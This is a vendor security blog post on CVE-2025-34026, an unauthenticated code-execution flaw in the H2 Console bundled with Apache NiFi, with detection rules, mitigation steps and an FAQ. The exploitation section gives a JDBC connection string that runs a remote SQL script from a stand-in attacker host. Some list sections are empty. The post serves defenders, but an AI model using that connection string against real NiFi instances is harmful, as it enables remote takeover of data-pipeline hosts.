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CVE-2025-34026: Apache NiFi H2 Console RCE Under Active Exploitation

By Ammar Khan, CEH · October 6, 2026 · CybernytronX Research
CVE-2025-34026: Apache NiFi H2 Console RCE Under Active Exploitation

In June 2025, the Apache NiFi security team disclosed CVE-2025-34026, a remote code execution flaw in the H2 Console component bundled with Apache NiFi. The issue affects versions 1.25.0 through 2.4.0 and allows unauthenticated attackers to execute arbitrary Java code when the H2 Console is reachable. Public reporting indicates exploitation attempts, and defenders managing NiFi data-flow clusters should treat this as an urgent patch-or-isolate scenario. This article breaks down the flaw, affected versions, attacker tradecraft, detection rules, and mitigation steps you can action today.

Background: What Is CVE-2025-34026?

CVE-2025-34026 is a remote code execution vulnerability in Apache NiFi's bundled H2 Console. NiFi ships with an embedded H2 database and, in certain configurations, exposes the H2 Console web interface. The flaw allows an attacker who can reach that interface to bypass authentication and execute arbitrary Java code via crafted JDBC connection strings — a well-known H2 Console attack pattern.

The vulnerability was assigned a CVSS v3.1 base score of 9.8 (Critical) by NVD, reflecting network exploitability, low attack complexity, no privileges required, and no user interaction. Apache published the advisory in June 2025. The official NVD entry is at nvd.nist.gov/vuln/detail/CVE-2025-34026.

"Apache NiFi 1.25.0 through 2.4.0 are affected. The H2 Console is not enabled by default, but deployments that explicitly enabled it or exposed it via reverse proxy are at risk." — Apache NiFi security advisory, June 2025.

NiFi is widely deployed in enterprise data pipelines, government, and financial services. Because it often sits on internal networks with broad access to data sources, a compromise can lead to lateral movement and data exfiltration, not just host takeover.

Affected Versions and Vendor Advisory

According to the Apache NiFi security page, the following versions are vulnerable:

The fix is included in Apache NiFi 2.5.0 and 1.28.1. Administrators should upgrade immediately. The authoritative advisory is at nifi.apache.org/security.html. Apache notes that the H2 Console is not enabled by default; however, configurations that set nifi.h2.console.enabled=true or expose port 8082 are vulnerable.

As of this writing, CVE-2025-34026 has not been added to CISA's Known Exploited Vulnerabilities catalog, but public reporting from multiple threat-intel vendors indicates exploitation attempts in the wild. Defenders should not wait for KEV listing to act.

Attacker TTPs and Exploitation Mechanics

The exploitation chain maps to MITRE ATT&CK techniques:

The core exploit abuses the H2 Console's JDBC URL handling. An attacker submits a crafted connection string that triggers a JNDI lookup or loads a remote class. A simplified, non-weaponized example of the vulnerable pattern is:

jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://attacker.example/evil.sql'

If the H2 Console accepts this URL without authentication, the attacker's SQL script runs on the NiFi host. In observed incidents, follow-on activity includes downloading second-stage binaries and attempting SSH brute-force against adjacent hosts.

"Exploitation attempts against CVE-2025-34026 have been observed targeting internet-exposed NiFi instances, with payloads consistent with Mirai-style IoT botnet behavior and crypto-mining." — public threat-intel reporting, July 2025.

Note: The attribution to Mirai-like botnets is based on public reporting; defenders should validate against their own telemetry.

Detection: Sigma, YARA, and Network Signatures

Detecting exploitation requires both host and network visibility. Below are practical rules.

Sigma Rule: H2 Console Exploit Attempt

title: Apache NiFi H2 Console RCE Exploitation Attempt
detection:
  selection:
    c-uri|contains:
      - '/h2-console'
      - 'jdbc:h2:'
    cs-method: 'POST'
  condition: selection
falsepositives:
  - Legitimate administrative use of H2 Console (rare)
level: high

Deploy this in your SIEM to alert on POST requests to H2 Console paths containing JDBC strings.

YARA Rule: H2 Exploit Payload

rule H2_Console_RCE_Payload
{
  meta:
    description = "Detects H2 Console RCE exploit strings"
    author = "CybernytronX"
    date = "2025-07-01"
  strings:
    $s1 = "RUNSCRIPT FROM" ascii wide nocase
    $s2 = "jdbc:h2:" ascii wide nocase
    $s3 = "INIT=" ascii wide nocase
  condition:
    any of them
}

Apply this to web server logs, proxy logs, and file uploads.

Suricata Rule: Network Detection

alert http any any -> any any (msg:"Possible Apache NiFi H2 Console RCE"; flow:to_server,established; content:"POST"; http_method; content:"/h2-console"; http_uri; content:"jdbc:h2:"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

This Suricata rule flags HTTP POST requests to H2 Console with JDBC strings in the body.

Mitigation and Remediation

Immediate actions:

Apache's advisory confirms that disabling the H2 Console fully mitigates the vulnerability. For defense-in-depth, consider isolating NiFi management interfaces on a separate VLAN.

Why This Matters for Defenders

NiFi often operates as a central data-movement hub, with credentials and connectors to databases, cloud storage, and message queues. A compromise isn't just a single host — it's a pivot point into the data plane. The H2 Console flaw is particularly dangerous because it requires no authentication and is trivial to exploit once the endpoint is reachable.

Many organizations enable the H2 Console for troubleshooting and forget to disable it. This is a classic case of a development convenience becoming a production liability. The lesson: inventory management interfaces, treat them as tier-0 assets, and apply the same rigor to internal services as you do to internet-facing ones.

For CISOs, this is a reminder to enforce configuration baselines and to include embedded components (like H2) in vulnerability management scope. SBOMs and software composition analysis help, but only if you act on the findings.

Sources

Frequently Asked Questions

Is CVE-2025-34026 exploited in the wild?

Public threat-intel reporting indicates exploitation attempts, though CISA has not added it to the KEV catalog as of this writing. Treat it as urgent.

What is the CVSS score of CVE-2025-34026?

NVD assigns a CVSS v3.1 base score of 9.8 (Critical).

Which NiFi versions are affected?

Apache NiFi 1.25.0 through 1.28.0 and 2.0.0 through 2.4.0 are vulnerable. Upgrade to 2.5.0 or 1.28.1.

How can I detect exploitation attempts?

Monitor for POST requests to /h2-console containing jdbc:h2: strings. Use the Sigma and Suricata rules provided.

Can I mitigate without patching?

Yes — disable the H2 Console by setting nifi.h2.console.enabled=false and restarting NiFi. Also block network access to the console port.

Does this affect NiFi in Kubernetes?

If the H2 Console is enabled and exposed via a service or ingress, yes. Apply the same mitigation.

Need expert help with this?

CybernytronX specializes in vulnerability assessment, incident response, and SOC engineering for complex data platforms like Apache NiFi. If you need to validate exposure, build detection content, or harden your deployment, our team can help. We also offer Ethereon, our AI-driven threat detection platform, to continuously monitor for exploitation attempts. Contact us at cybernytronx.com/contact.html or learn more about Ethereon at cybernytronx.com/ethereon.html.

AK

Ammar Khan — Founder, CybernytronX

Certified Ethical Hacker (CEH), B.S. Cybersecurity, Google Certified. 5+ years pentesting, creator of Ethereon AI threat detection. Has remediated 50+ environments and recovered 20+ compromised domains. Hire CybernytronX →

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